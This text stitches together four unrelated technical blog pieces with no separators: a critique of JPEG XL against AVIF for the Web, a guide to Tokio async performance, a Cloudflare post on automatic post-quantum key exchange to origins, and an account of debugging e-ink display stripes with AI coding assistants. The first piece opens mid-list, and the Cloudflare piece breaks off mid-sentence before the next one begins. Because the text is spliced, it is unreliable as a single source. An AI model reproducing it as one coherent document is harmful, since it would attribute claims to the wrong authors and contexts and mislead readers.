  • Residual coding is awkward. With AV1, you predict a block, subtract the prediction from the source, and the transform coefficients naturally represent the residual. With JXL's construction, you decode a residual frame and then blend a reference patch, so you need an actual frame or layer whose decoded pixels represent the residual. That would likely be a Modular frame, which is interesting because Modular isn't restricted to conventional unsigned image values the way the final rendered image is.
  • An IntraBC block essentially costs a motion vector plus residual coefficients, whereas a JXL construction potentially costs a reference frame, a frame header, a crop, blend information, a patch dictionary entry, patch coordinates, and a residual frame. That overhead can overwhelm the savings unless the repeated region is fairly large or reused many times.
  • Patches have to be explicitly enabled in libjxl below effort 7 because they currently have performance issues.

For non-photographic images, the argument that “they should be vector images” doesn't hold up because many images could be vector images but aren't, and they can't be vectorized perfectly. “The world should be different” is not a justifiable defense against optimizing for the way the world actually is.

It is tempting to think these points mean the ceiling is higher than libjxl lets us reach and that we could do better, but I'm not confident it can eclipse well-optimized AVIF encoders quickly, given its less intuitive (and potentially weaker) coding tools.

Decode Time

JPEG XL has an impressively flexible specification. In addition to its coding tools, it supports up to 4096 channels, arbitrary color depth, progressive decode, JPEG recompression, and more. Many of these features are not broadly useful on the Web; you need 4 channels (RGB/YUV + alpha), reasonable color depth to support HDR (10-bit is fine), and the ability to load quickly.

Progressive rendering (which AVIF supports) decodes a low-fidelity rendition before the full image arrives. AVIF didn't support progressive rendering for a while, and during that time I believe it was deeply oversold. Now that libavif has implemented it (it was always possible), the conversation appears to be over. I think this is because the results speak for themselves:

This is from the JPEG-XL info site, where AVIF shows a usable image much earlier than JXL at just ~2-3% of the full image's size. Combined with the fact that the AVIF is smaller overall, this is an easy win. I've screenshotted the page because the AVIF progressive decode only works in Chrome, as it is using the browser's native decoder; JPEG XL uses a polyfill because even in Safari where it is supported, progressive decode isn't.

JPEG recompression is the ability to losslessly re-encode JPEGs as JXL images while saving bits; the oft-cited number is 20% savings. However, the user pays for this in decode time, as recompressed JPEGs take ~33% longer to decode. Modern consumer devices are powerful, but the argument that the savings come “for free” is misleading.

On that topic, decode time is not competitive with the best:

In public discourse, AVIF is considered slow to decode; what does that make JXL? This is also a 10-bit AVIF, and all images were size-matched encodes of the same source. The JPEG was 2,478,828 bytes, the JPEG XL was 2,599,428, the AVIF 2,649,949, and WebP 2,693,794. WebP is over 90kb larger and still manages to decode over 10x faster than jxl-rs with wpd.

Due to the codec's expressivity, it is possible to craft images that take obscenely long to decode. Take this example (open with caution) that computes primes up to 33,599 and takes 17.43s of user time to decode on my M5 Pro with the Rust decoder. Additionally, keep in mind that this is the decoder making its way into Chrome, Firefox, etc – the prime wall image is just 1,918 bytes, so it's about to become trivially easy to JXL-bomb low-end devices. You can already ship a couple dozen of these on a Web page and slow Apple devices down, as they natively support JPEG XL in Safari.

Conclusion and Opinion

I believe Web codecs should be purpose-built, efficient, and narrowly scoped to the needs of the Web. I think WebP was a bit too narrowly scoped, but the idea was there; AVIF's container could be better, and the AV1 spec could be a bit more specific about handling certain properties of images (e.g. normative 4:2:0 upsampling), but AVIF was always a guaranteed addition to the Web due to AV1 and benefits from a very mature ecosystem.

Do we need JPEG XL then? It isn't narrowly scoped whatsoever; it is meant to be everything to everyone, by design. I think a lot of other use cases need this, but the Web needs to save bandwidth, decode fast, and prevent foot-guns; I don't see how JPEG XL is even as good a fit as WebP. Not to mention an additional compatibility headache now exists for anyone just trying to download an image from the Internet and use it somewhere – it was hard enough to get widespread WebP adoption, and I don't think it's worth doubling the pain by having to climb the same hill for AVIF and JPEG XL. Especially when JPEG XL doesn't appear to add anything to the Web platform.

3½ years ago, I said:

I want a web where both AVIF and JPEG XL can exist, and developers decide which format to use for its merits. [...] In my opinion, JPEG XL and AVIF have fundamentally different strengths which lend them to different use cases.

At the time, JPEG XL was a much stronger contender for medium-high fidelity lossy image compression. AVIF now dominates the entire fidelity range, so JPEG XL's one real advantage has disappeared.

Full Fidelity Range

JPEG XL came from Cloudinary and Google, but I think the codec is discussed in a way that doesn't make this clear. Also worth mentioning both JPEG XL and AVIF are royalty-free. Because of the politics around Google's browser market dominance, AV1 coming from Google, and the controversy around Google's WebP, it is my opinion that most of the argument for JPEG XL comes from wanting a Web with more developer choice as opposed to wanting a technologically superior image codec. I understand this, and I think JPEG XL can still thrive outside the Web in places AVIF never could. In the same article:

My current optimistic hope is that JXL takes off outside the web among professionals working with tools like the Adobe suite or alternatives, and camera manufacturers, smartphone OEMs, and others take notice and begin to think about JXL more seriously.

JPEG XL isn't useless; it is genuinely compelling technology for use cases beyond the Web. I'm just not personally convinced we need it in browsers any time soon.

Software and environment details.

I'm on my way back from RustConf. At the Unconf, we had a productive discussion about debugging and benchmarking async applications. Many interesting insights were shared. I'm attempting to enumerate some of them here, along with some of my own experiences. This is the first draft of what I hope can become a living document of best practices. Feel free to file an issue or open a PR. I'm hoping to also add a sample app in the coming days demonstrating these issues along with what the dial9 trace looks like.

There are few hard-and-fast rules for writing code that performs well on Tokio runtimes; the answer to so many questions is "it depends." The performance of a workload depends on what else is running on the runtime at that moment. This is why so many problems only show up in production! Writing async applications that perform well is a balance between fairness and batching, contention and isolation.

This post lays out some general principles and covers exceptions where I can. It assumes basic familiarity with Tokio's work-stealing runtime; a high-level summary is included in the appendix.

General principles

First, determine whether you have a problem

If you start looking for red flags in a Tokio application, you will find them. Almost every real application I have seen has polls (the time between .await points when the code yields back to the runtime) much longer than the 10-100 microseconds Alice Ryhl recommends in her excellent post What is Blocking?. These problems may or may not affect the application metrics or behavior you actually care about (see: long polls can be fine sometimes). It is important to work backward from a real metric you are trying to improve. For example, an application can have long polls that are completely benign; "fixing" them will not measurably impact user-facing metrics.

In the overwhelming majority of problems I have come across, the issue was in the application code itself, often in the interaction between multiple components of a distributed system (and not actually in Tokio). dial9 has given a lot of visibility into Tokio; at least as often as it finds a Tokio problem, it actually clearly demonstrates the lack of one (which gives folks the confidence to search elsewhere). Of course, sometimes it is a Tokio problem.

In terms of Tokio metrics, the most useful is the recently added schedule latency histogram. Schedule latency is the amount of time between your task being ready to run (e.g., because the socket has data) and Tokio actually polling the future. Although this won't tell you what the cause is, scheduling latency is the most common symptom of poor interactions between Tokio and your code.

Split for latency, batch for throughput

Yield more frequently to optimize for latency

Low latency across many requests requires fairness between connections.

Consider Redis (or any application that supports request pipelining). A naive implementation will read data directly off the connection while more data is available. When requests are pipelined, the entire pipelined request (or most of it) will end up in an in memory buffer. When you read frames off of it, each will be Poll::Ready (without going back to the network). This creates both long polls and unfairness between clients.

The impact on throughput is usually smaller: the same number of requests are processed. Latency, however, changes dramatically because one entire pipeline can wait behind another. Explicitly yielding after each request can reduce latency by roughly 10× in this example. You can do even better by yielding only after several consecutive immediately-ready reads.

async fn handle_conn(&mut self) -> crate::Result<()> {
    while !self.shutdown.is_shutdown() {
        // If the connection has buffered data, this can repeatedly return
        // Poll::Ready without yielding back to the runtime.
        let frame = tokio::select! {
            res = self.connection.read_frame() => res?,
            _ = self.shutdown.recv() => {
                return Ok(());
            }
        };

        execute_command(&self.db, &mut self.connection, frame).await?;

        // To improve fairness:
        // tokio::task::yield_now().await;
    }
}

Yielding after four consecutive immediately-ready reads makes pipelined requests much fairer without giving up batching entirely.

How do I know if I have this problem?

• P99 is much greater than P50.
• Polls take longer than the work inside them should require.
• Many spans fall inside a single poll.

Batch work to amortize overhead

Fairness is not free. The more useful work you can do per runtime event—changing tasks, polling, moving between workers, or changing threads—the more efficient your application can be.

Perhaps the best example is tokio::fs. I sometimes go so far as to say that "tokio::fs is considered harmful." Without io_uring, Tokio runs each filesystem operation on the blocking pool. Each call to spawn_blocking also has a cost, and every runtime has a shared blocking pool.

If you know you will perform a series of filesystem operations—or any blocking work—batch them into the largest sensible blocking segment. In some cases, a dedicated OS thread is a better fit.

This principle applies anywhere you interact with Tokio. If you know you will send work to the global queue, batching can amortize that coordination too.

Even things as fast as spawning a task are not free! Spawning a task is cheap, but if you spawn 100s or 1000s of tasks, each one represents work the runtime has to deal with separately. Each creates more chances to be impacted by scheduling delay, more individual polls the runtime needs to handle, and generally more overhead in general. When you spawn a task, consider how much work you are actually scheduling: spawning a 10-microsecond unit of work onto its own task is probably anti-helpful. Tools like dial9 or tokio-metrics can help you track the lifecycle of tasks.

How do I know if I have this problem?

• Tokio APIs such as spawn_blocking consume noticeable time in flamegraphs.
• A tight loop performs many individually small filesystem or blocking operations.
• Throughput improves when the same work is grouped into larger units.

Beware global resources

The Tokio runtime schedules work on workers: dedicated threads that poll ready tasks. Workers scale across cores, but some runtime resources still require shared coordination.

The blocking pool is currently1 a global resource. At high enough rates, pushing work onto the blocking queue becomes a bottleneck and spawn_blocking can become visible in flamegraphs. I have seen negative performance effects at roughly 50,000 blocking tasks per second on a 32-core host; your mileage will vary. spawn_blocking is not a magic fix for every piece of blocking or CPU-heavy code. For short, bounded work, it may be faster to let Tokio's workers and work stealing handle it, but, as always, "it depends."

Tokio also has a global task queue. Tasks land there when local worker queues overflow, which is usually rare, or when work is scheduled from outside a runtime worker, which can be common in some applications. One example is a channel whose sender runs on a non-Tokio thread.

How do I know if I have this problem?

• Runtime-wide operations such as spawn_blocking are prominent in flamegraphs.
• The global queue is consistently deep. In a healthy application it should generally stay close to empty; in a saturated application, it can take a long time to drain.

Be extremely careful with mutexes

One of the easiest ways to stall an entire runtime is to block a worker on a contended mutex.

Things like a metrics registry stored behind a mutex or read-write lock are especially susceptible to this issue. If a flush holds the lock while doing expensive work, every Tokio worker may eventually schedule a task that tries to record a metric and blocks on the same lock. Stealing becomes impossible because every worker is stuck!

Keep critical sections in async applications extremely short (e.g., a single hashmap update). RWLocks are almost never the right primitive to use as they still create contention on atomics, even for the read path. Do not hold the lock while flushing, performing I/O, or awaiting another future.

tokio::sync::Mutex trades one issue for another: Tokio Mutexes are much more expensive to lock, are susceptible to subtle issues like FutureLock, and are really only appropriate if the critical section lasts multiple milliseconds.

How do I know if I have this problem?

• P99 spikes at predictable intervals like once every minute when a background task runs
• In dial9, many tasks suddenly become blocked and off-CPU for a nontrivial duration.

A contended blocking mutex stalls all four runtime workers at once.

Constrain parallelism—usually

Tokio can happily spawn far more tasks than the rest of your system can handle. Accidentally opening 3,000 concurrent connections to S3 because a workload fanned out an unbounded number of tasks is very common.

The answer is boring: limit concurrency. Fancy adaptive algorithms are sometimes appropriate, but a Semaphore is often enough.

Isolate Tokio workers from other threads

Tokio's design relies on workers waking quickly. However, if the operating system is highly loaded, it may take 10–20 ms—or more—for the kernel to schedule a worker after Tokio attempts to wake it. If you measure P99 latency in single-digit milliseconds, this is a disaster. I've observed this during incremental migrations from Java to Rust at Amazon, where both processes ran on the same host and the Rust process gradually took on more of the work.

The less work the Java process did, the faster the Rust process became, even as it handled more work. This effect is even stronger when the other applications use a large number of threads.

The most basic solution is to use cgroups or related APIs to pin the Tokio workers and other code to separate CPU cores.

The same issue can arise from other Rust threads. Background threads such as those used by tracing_appender can sometimes do more than 100 ms of work without yielding the CPU. If Tokio attempts to wake a worker during this time, that worker may be delayed until the kernel preempts the other thread.

If you see this happening, the solution is the same: pin noncritical background work to its own core and move Tokio workers to other cores. You rarely need every core for Tokio, and reserving cores for other work tends to improve latency.

How do I know I have this problem?

• dial9 shows a kernel scheduling delay between a worker-unpark event and the worker actually running.

Tricks for when you know better

The patterns in this section are not generally the right thing to do, but sometimes they are exactly what a workload needs.

Blocking the executor can be fine—sometimes

In an idealized async application, all work would happen in tiny bursts with frequent yields back to Tokio. The real world does not always work that way, and tiny bursts are not necessarily the fastest way to run software. Batching work can be more efficient.

In practice, long polls are not always a problem. Under light load, Tokio's work stealing can compensate when one worker is occupied for longer than usual. That starts to break down under two conditions:

1. The Tokio runtime is heavily loaded and spare worker capacity does not exist.
2. The operating system is heavily loaded, so unparking workers is frequently delayed.

In both cases, stealing work takes longer. If work is not stolen quickly enough, core runtime maintenance—such as driving I/O—may not happen frequently enough to maintain low latency.

Important note! This advice does not apply if you are utilizing things like tokio::join! and tokio::select! that utilize in-task concurrency. Within a single task, there is no work stealing; if you block the executor, nothing else running on that task can make progress. This sometimes manifests as unexpected timeouts and generally bad latency.

Use multiple runtimes to isolate workloads by priority

The strongest isolation comes from assigning work to separate runtimes and pinning those runtimes to dedicated cores. Many network services have both latency-sensitive work and lower-priority background work. Putting them on separate runtimes creates a scheduling boundary between the two.

You can also set OS-level niceness when the runtime threads start. See dial9's multiple-runtime example and Tokio's on_thread_start hook.

At TokioConf the general impression from most talks is that folks ended up moving to a solution with at least two runtimes.

Spin to keep control

This is a very advanced tactic for chasing latency measured in microseconds. I don't recommend reaching for this first, but it can definitely work.

Every time you yield back to the Tokio scheduler—or Tokio parks a worker thread and yields it to the operating system—you create a chance for that work to be delayed when it wakes again.

For extremely latency-sensitive work, one option is to intentionally spin for a short preset period, maybe 50 microseconds, rather than yield while waiting for the next piece of useful work. This consumes a core and can harm neighboring workloads, so it is probably wrong for most applications. Under carefully controlled conditions, however, it can be the right tradeoff.

Appendix: A mental model for Tokio in four bullet points

• Rust futures make incremental progress between await points. These active sections are called polls, after the Future::poll method.
• When futures are not being polled, they are idle and waiting for an executor to run them again. A good executor polls a future only when it has work to do.
• Tokio runs N workers, usually one per available core. Each worker has a local queue. When a queue overflows or work cannot be added to a local queue, the task goes to the global queue.
• When one worker's queue backs up, another worker can steal work from it—if the runtime detects the imbalance and another worker has capacity.

[1] Tokio 1.52.0 briefly shipped a sharded blocking queue, but 1.52.1 reverted it after a regression that could cause spawn_blocking to hang. Tokio PR #8337 later re-landed the sharded queue as an unstable feature that is disabled by default.

Every time Cloudflare opens a new TLS 1.3 connection to an origin server, we have to make a guess: the protocol requires us to commit to a key agreement algorithm in the very first packet we send, before the origin has told us anything about itself or what it can support. If we guess right, the handshake completes in one round trip. Guess wrong, and the origin replies with a HelloRetryRequest, we start over, and the connection costs two round trips.

For years, our guess was the same for every origin on the Internet: X25519. Widely supported, but as it turns out, suboptimal for roughly 30% of the origin connections we've since measured.

Today we're announcing Automatic Key Exchange, an extension of Automatic SSL/TLS that replaces the guess with a measurement. We probe each origin to learn which key agreement algorithms it supports and prefers, then lead with that algorithm on the first try, preferring the post-quantum hybrid X25519MLKEM768 wherever the origin can speak it.

With the ongoing rollout of Automatic Key Exchange across origin connections, HelloRetryRequests fell from roughly 52% to 3.7%, cutting more than 150 ms off connection handshake latency at p90. In addition, as part of our ongoing rollout, hundreds of thousands of domains now have post-quantum origin connections that nobody had to configure, with that number growing daily.

While the milliseconds are important, that second part may matter more. Somewhere right now, an adversary is recording encrypted traffic it can't read yet, betting that it will be able to in the future (an attack known as harvest-now, decrypt-later). Cloudflare is sprinting to make the Internet quantum-secure by 2029, the year some industry experts estimate classical encryption algorithms could be breached. That day has a name: Q-Day. Meeting that deadline can't depend on millions of website operators each becoming expert cryptographers. It has to be automatic. Until today, preferring post-quantum connections required a manual setting: either you turn them on from Cloudflare’s side, or you have your origin server insist upon them. It was easy to get wrong. But today it’s just … automatic!

TLS 1.3 handshake: guessing the key exchange algorithm

Every secure web connection starts with a TLS handshake, which authenticates the server and derives a shared secret key. Our previous Automatic SSL/TLS blog posts cover that process in detail.

As Cloudflare operates as a reverse proxy, what appears to be a single secure connection is actually two: one between the visitor and Cloudflare, and a second between Cloudflare and the origin server. Each connection operates independently, with its own handshake, identity checks, and encryption keys.

Automatic Key Exchange affects the second connection. When Cloudflare connects to the origin, Cloudflare acts as the TLS client and must begin the handshake. We initiate the connection by sending a ClientHello message containing the hostname and a list of supported key agreement algorithms.

In the happy path, TLS 1.3 can establish a new encrypted connection in just one network round trip (shown on the left in the diagram above). In this case, Cloudflare sends a ClientHello listing its supported key agreement algorithms, along with one or more client keyshares. If the origin accepts that choice, it responds and the handshake completes. This predictive key exchange is an innovation of TLS 1.3, and a large part of why it’s faster than TLS 1.2.

Otherwise, if the origin prefers a different option, it sends a HelloRetryRequest (HRR) and asks Cloudflare to try again (the flow on the right in the diagram above). Cloudflare then sends a second ClientHello, generating a new client keyshare based on the key agreement algorithm specified by the origin. The connection still succeeds, but the retry adds a full network round trip before Cloudflare can fetch content. This is like missing a shortcut in Mario Kart: you still reach the finish line, but you lose the time the shortcut was supposed to save.

Either way, using the client keyshare, the server generates the shared key. The server then returns a server keyshare with which the client can also compute the shared key. This shared key is used to protect the rest of the connection using symmetric cryptography, such as AES.

The cost of the safe guess

For years, our initial client keyshare guess for origin connections using TLS 1.3 was static; we'd always send X25519 while advertising support for other key agreement algorithms. This was a safe strategy because over 95% of origins support X25519, and any origins that didn’t could issue a HelloRetryRequest (HRR) without breaking the connection.

However, X25519 is vulnerable to quantum computers. Since September 2023, we have advertised support of post-quantum key agreement to origins: first as X25519Kyber768Draft00 and today as X25519MLKEM768 (the standardized version of the algorithm). Crucially, advertising support differs from leading with a keyshare in the ClientHello. An X25519MLKEM768 keyshare is 1,216 bytes compared to X25519's 32 bytes, pushing the ClientHello past a single network packet. While the TLS standard allows multi-packet segments, some legacy middleboxes and origin servers can fail when receiving ClientHello messages split across multiple packets. In our previous study, around 0.34% of scanned origins failed to complete the TLS handshake when receiving a post-quantum keyshare first, while the vast majority of origins still relied on classical X25519.

Therefore, to prevent any possible breakage of origin connections, we used HRR as a safety valve. We only advertised post-quantum support, sent a classical X25519 keyshare, and required capable origins to request a post-quantum exchange via retry. For origins that did not support the HRR flow, customers had the option to manually opt into leading with X25519MLKEM768 keyshare. Between 2023 and today, the percentage of origins supporting post-quantum key exchange algorithms grew from 0.5% to 12.8%, and we expect that to keep climbing as hosting stacks upgrade to PQ safe algorithms.

While safe, this default of only upgrading to post-quantum secure connections via retry added unnecessary latency for two reasons:

• While all modern builds of OpenSSL, BoringSSL, and rustls support X25519MLKEM768, they handle a classical X25519 keyshare differently. Depending on the build, some older builds may accept it by default unless explicitly configured to prioritize the post-quantum secure keyshares, while newer builds will immediately issue an HRR to prioritize post-quantum connections.
• Over 6% of origins prefer either P-256 or P-384 over X25519, triggering an HRR round trip even for purely classical connections due to our static choice of initial client keyshare.

To eliminate these wasted round trips, we began scanning origin servers to map their exact key agreement capabilities as part of Automatic SSL/TLS. Using these scan results, we automatically tailor our initial keyshare on a per-origin basis: maximizing post-quantum connections without risking site outages, all while making our connections faster for applicable domains.

Extending Automatic SSL/TLS to the post-quantum age

Automatic SSL/TLS now includes Automatic Key Exchange. Across millions of origins, guessing different keyshares carries operational risk, because we have no advance knowledge of how any individual origin is configured. So rather than infer capability, we measure it directly, reusing the scanning pipeline that already powers Automatic SSL/TLS.

For a growing number of origins, this delivers post-quantum key agreement on the very first try at connection setup, without extra round trips and without requiring any manual setup.

This is how it works:

1. For each TLS 1.3 capable origin, we run a series of a few lightweight TLS handshakes, each offering exactly one key agreement group: X25519, P-256, P-384, P-521, or X25519MLKEM768. Together these probes tell us the full set of algorithms the origin supports. And because the active scanning happens outside your production traffic path, we confirm that both your origin and the network in between can handle connections with a stronger key agreement before any real traffic depends on it.

2. A single domain often fronts multiple subdomains that may resolve to different origins with varying capabilities. We evaluate each subdomain independently and weight the results by its actual traffic volume. This ensures a domain-wide preference reflects HTTP traffic volume rather than weighing a dormant subdomain equally with your busiest endpoint. For example, if almost all traffic hits your www and api subdomains, those endpoints would heavily determine the key exchange preference for the entire domain.

3. From the key agreement groups an origin supports, we then select the strongest candidate using a strict priority order: post-quantum hybrids (X25519MLKEM768) first, falling back to the fastest classical algorithm accepted by the origin (X25519, P-256, P-384, or P-521).

4. Once we know the optimal key-agreement an origin prefers, we start rolling it out. The new preference goes to a small share of that origin's traffic first, and the system monitors its failure and HelloRetryRequest (HRR) rate while it runs. If retries climb above that origin's baseline, we roll the change back, the same way Automatic SSL/TLS reverts an encryption mode upgrade that may misbehave. At the worst case of rolling back, a bad key-agreement preference costs us an additional round trip latency, not a broken TLS connection for the duration of the rollout phase.

5. Origin configurations change over time: a customer moves to a new load balancer, a TLS library ships post-quantum support in a routine release, an operator turns off an older key-agreement algorithm support. We rescan every origin daily, so a server that adds post-quantum support, or stops supporting the curve we were using, gets a new preference at the next scan.

For most customers, there is nothing to configure. If your origin speaks TLS 1.3, we will automatically negotiate the strongest key exchange it supports, for instance, if an origin supports X25519MLKEM768, Cloudflare prefers it and can establish post-quantum key agreement without any extra round trip latency.

Configuring Automatic Key Exchange

Automatic Key Exchange is active by default for all existing and new domains, requiring no manual action for most setups. If you want, you can manage these settings independently in the Cloudflare dashboard under SSL/TLS > Overview > Configure > Origin connection & post-quantum encryption.

With the Automatic Key Exchange toggle enabled, Cloudflare scans your origins out-of-band and leads with a dynamically selected keyshare. With it disabled, scanning stops and Cloudflare reverts to a fixed/static default key agreement order.

We have also introduced a new Compliance requirements setting under Automatic Key Exchange. You can filter which key agreements Cloudflare is permitted to use and advertise support for origin connections. When configured, Automatic Key Exchange and all origin-facing traffic strictly observe these rules:

• Post-quantum hybrid: Restricts negotiation exclusively to hybrid post-quantum key agreements (X25519MLKEM768), removing classical algorithms entirely. All your successful origin TLS 1.3 connections will be guaranteed to be post-quantum secure.
• Federal Information Processing Standards (FIPS): Restricts negotiation exclusively to FIPS-compliant key agreements.

Selecting both options requires an algorithm that satisfies both criteria simultaneously; if no overlapping key agreement exists, the configuration is rejected. See the Automatic Key Exchange documentation for details.

By selecting these options, you configure your intent rather than specific algorithms. This ensures that as compliance standards evolve or new post-quantum algorithms emerge, your configuration stays up to date automatically.

However, these requirements are worth approaching carefully. They do not grant an origin new cryptographic capabilities, they only narrow what Cloudflare can negotiate.

An important note: Enforcing post-quantum hybrid on an origin that lacks X25519MLKEM768 support leaves no mutually supported algorithm, causing all TLS 1.3 connections to fail. Unless you have a strict policy obligation to enforce post-quantum exchange or FIPS compliance across every connection, leave both options unselected and allow Automatic Key Exchange to negotiate the optimal algorithms safely for you.

Making the Internet safer and faster, together

Automatic Key Exchange works for domains whose origins speak TLS 1.3 (as predicting preferred key agreement method is a TLS 1.3-only feature). It’s enabled by default, and our scanning pipeline has already assigned key exchange preferences to well over a million domains while enrollment continues across the remaining network.

From that initial cohort, we found that roughly 64% of them stayed on the classical X25519 as their preference, so nothing about their connections changed. Around 33% of them now have their preference set to X25519MLKEM768, which causes traffic to those origins protected from harvest-now, decrypt-later quantum attacks in a single round trip. The remaining 3% selected a different classical curve preferred by their origin, such as P-384, P-256, or P-521.

BLOG-3300 7.png

Approximately 9,000 domains each day have their key agreement preference set to a key agreement method other than X25519. Nearly all of these move directly to preferring post-quantum key exchange, while the remainder adopt other classical curves better supported by their origin’s TLS configuration.

As we mentioned earlier, prior to Automatic Key Exchange, almost every post-quantum origin handshake required a HelloRetryRequest (HRR) because our static initial guess defaulted to classical X25519. The result was that post-quantum connections paid a mandatory second round trip before completing the TLS handshake.

BLOG-3300 8.png

The share of post-quantum origin TLS 1.3 traffic completing without a HelloRetryRequest rose from 0% to 99.2%.

With the rollout underway, that latency penalty is virtually gone for almost all post-quantum capable origins: 99.2% of post-quantum TLS 1.3 connections of the currently scanned cohort of origins now complete in a single round trip. Beyond removing the extra round trip, we see that across that cohort, post-quantum origin traffic keeps growing from roughly 25 billion connections to 45 billion per day. A significant part of that growth has come from Automatic Key Exchange upgrading classical connections to a post-quantum preference for scanned origins.

Many origins support multiple key agreement algorithms without preferring one over another. For example, an origin that supports post-quantum key agreement may still accept a classical (X25519) key share without rejecting it or issuing an HRR. Passive observation, therefore, cannot reveal the origin’s full capabilities. Active probing allowed Automatic Key Exchange to uncover thousands of origins whose post-quantum support never appeared in their origin traffic.

BLOG-3300 9.png

Once our scanner discovered such origins, and updated their client keyshare preference, post-quantum connections quickly accounted for the vast majority of traffic to these origins. Other classical key agreement algorithms represent a much smaller share for these upgraded domains, primarily driven by multi-origin setups with a mix of post-quantum and classical-only backends.

Automatic Key Exchange does more than just drive post-quantum adoption. It also helps pair origins with their preferred classical curve (other than X25519), reducing overall HRR rates across all scanned origins.

BLOG-3300 10.png

Before we enabled Automatic Key Exchange, roughly 52% of origin connections for the scanned domains required an HRR. That rate fell to just 3.7%. Avoiding an HRR removes an entire round trip from TLS connection setup, reducing p90 latency more than 150 ms for the scanned origins. This particularly benefits dynamic requests and CDN cache misses that may require a new TLS 1.3 connection to the origin, ultimately reducing latency for eyeballs. Requests sent over existing keep-alive connections do not require a new handshake and are therefore unaffected.

Is the server post-quantum capable?

There are a number of different tools to use to find out if a server supports post-quantum key agreement. We offer one of these tools via Cloudflare Radar. Enter the hostname or IP addresses of your server, and we will check if it supports post-quantum TLS key exchange. Note that if you enter a hostname proxied by Cloudflare, Radar will check the connection to Cloudflare rather than your origin server behind it.

BLOG-3300 11.png

Beyond verifying algorithm support, we have added the ability in the tool to check for post-quantum TLS implementation bugs. If the results come back negative, it will also try to characterize the reason for the failure. Failures often stem from legacy middleboxes, firewalls, or server buffers dropping multi-packet payloads or failing to reassemble a ClientHello split across TCP segments. Other times the origin gives up on an unrecognized key share instead of sending a HelloRetryRequest as TLS 1.3 requires, or sends one and then cannot finish the handshake.

Radar gives you a clear picture of whether the network path handles post-quantum traffic cleanly. Automatic Key Exchange will not switch a domain whose origin fails these checks, so clearing them is what lets the upgrade happen.

What if your origin doesn't support post-quantum key agreement yet?

Even if your origin does not yet support post-quantum encryption today, the good news is that enabling Auto Key Exchange will still be beneficial. Automatic Key Exchange finds what your origin supports. If X25519MLKEM768 is unavailable, Cloudflare continues using a compatible classical key agreement and can still avoid unnecessary HelloRetryRequest round trips by learning which one your origin prefers.

However, Automatic Key Exchange can only prefer post-quantum connections when your origin server already supports the key agreement algorithm. Today, we see over 12% of individual origins across our network support post-quantum encryption. Post-quantum secure algorithms support in TLS server implementations is increasing as recent versions of BoringSSL, OpenSSL, and rustls include support. The enterprise origin stacks, cloud load balancers, and embedded TLS terminators are upgrading on their own timelines.

If you want to add post-quantum protection capability for your domain’s origin-facing connections, you have two options:

• You can use Cloudflare Tunnel. The connection between cloudflared and Cloudflare already uses post-quantum key

I’ve been a lifelong reader, which has proved a fragile habit in our era of endless trivial distraction. While books and e-ink readers solve the problem of competition for attention, they can’t compete with a phone for convenience. That tiny device in my pocket has made reading both easier and more vulnerable to displacement whenever a notification pops up.

A few days ago, I learned for the first time about a recent generation of tiny e-ink readers. Since they’re cheap, it was easy to give into curiosity: I bought an Xteink X3. Not only is it astonishingly tiny, I could immediately install the delightful open-source CrossPoint firmware. I was very quickly able to install a few books. I also appreciated being able to install custom fonts, though I was a little surprised by their indifferent rendering (foreshadowing…).

CrossPoint is very configurable out of the box, so I converted a photo to a dithered black and white bitmap as my “device sleep” screen, and was pleased with how pretty this looked. When I read that the device supported 4 whole shades of grey, I was intrigued: would a greyscale image look better?

Down the rabbit hole: first image bugs

This revealed what looked like a bug: the sleep screen was displaying greyscale images with very murky dark areas. Either my middle-aged eyes were finally failing me, or was dark grey rendering as black? I created a quick test image and verified that dark grey really was black, while light grey was extremely pale (almost white). Mildly annoying, but hardly unexpected on a cheap device, and easily worked around: let’s create a three-tone image!

With less of the regenerated image containing large regions of black, I now saw a new bug: in the CrossPoint viewer app, the prior screen contents were still present in ghostly form (only on paler parts of the display, hence me failing to notice the first time around). However, on the same image, the sleep screen didn’t suffer from this problem. This suggested that there were two image renderers making different decisions, and the viewer app’s code was buggy.

In both cases, though, the photograph had distinctive vertical stripes across it that were not present in the bitmap file.

A phone photo of my tri-tone image. The fine vertical stripes are easiest to see in the background.

Since I knew next to nothing about e-ink, ESP32 development, or CrossPoint, I started investigating in the usual late-2026 way, using GPT-6 Astra in Codex. I would capture the X3’s screen on my phone and drop images into my Codex session.

An e-ink screen uses voltage pulses to move black and white pigment particles, which stay in place after the power is removed. An incomplete update or insufficient voltage can leave ghosted traces of the prior image behind.

To display a greyscale image, CrossPoint first draws a black-and-white base in which even the grey pixels start out black. It then runs a short voltage-pulse waveform to move selected pixels partway towards white. This second stage, a “nudge,” produces dark and light shades of grey by driving those pixels for different amounts of time.

Astra found that the viewer did a fast black-and-white update and simply stopped, without ever performing the grey nudge. It quickly fixed the problem.

The stripes proved much more stubborn. Astra initially flailed, blaming the Floyd–Steinberg dithering it had used to prepare my sleep picture. A different algorithm made no difference. It then followed a lead down the stack, and flagged the nudge waveform as worth investigating.

But we were struggling to agree on what artifact we were even looking at or measuring, which concerned me; I didn’t want to burn state-of-the-art tokens chasing phantoms. When I pushed, Astra dug in and reported a stripe pattern two pixels wide. That didn’t make any sense to me, so I asked it to annotate the photograph, and found that it had picked out fine dither texture instead of the bands I could see across the image.

What Astra's FFT found

Using a fast Fourier transform (FFT) here was quite clever: it’s an almost ideal tool to pick out and quantify repeating patterns that are hard to measure by eye. Astra applied a two-dimensional FFT to small patches of the photograph and the source image, and found a strong repeat at roughly two screen pixels in both.

Unfortunately, error-diffusion dithering produces structure of its own, by its nature often high-frequency noise that creates a strong signal in an FFT. Astra had picked out the fine dot pattern of Floyd–Steinberg, the very algorithm it had chosen to prepare the image and blamed early in the investigation. The broader bands I was complaining about appeared only on the reader. When I challenged its estimate, it made this annotation, which confirmed that we were looking at different patterns.

Astra’s annotation of the fine dither texture behind its two-pixel estimate.

Making the stripes measurable

Slightly frazzled by Astra’s hypotheses that were going nowhere, I switched to Fable 5.1 in Claude Code for another perspective.

I had a hunch that the width of the stripes meant something, but even identifying the stripes had eluded Astra. And this isn’t easy, as a lot of sources introduce patterns and noise:

• The image’s own dither pattern that had tripped up Astra
• Whatever was introducing the stripes
• The X3 screen’s own physical characteristics
• A handheld phone photo of this mess:
  • Sensor noise
  • Variable focus within an image
  • Lens distortion (these have to be macro shots to capture the 259ppi screen)
  • Lighting and exposure variations, processing artifacts
  • Motion blur from my shaky hands

Warned away from Astra’s naive image processing dead end, Fable wrote code to average the brightness down each column. For the view below, it used a sliding window 200 rows tall: each point became the average of a short vertical strip around it. This averaged away the dither texture, while a brightness difference that persisted down a column would survive. Broad shapes in the picture remained, but the stripes became much easier to see:

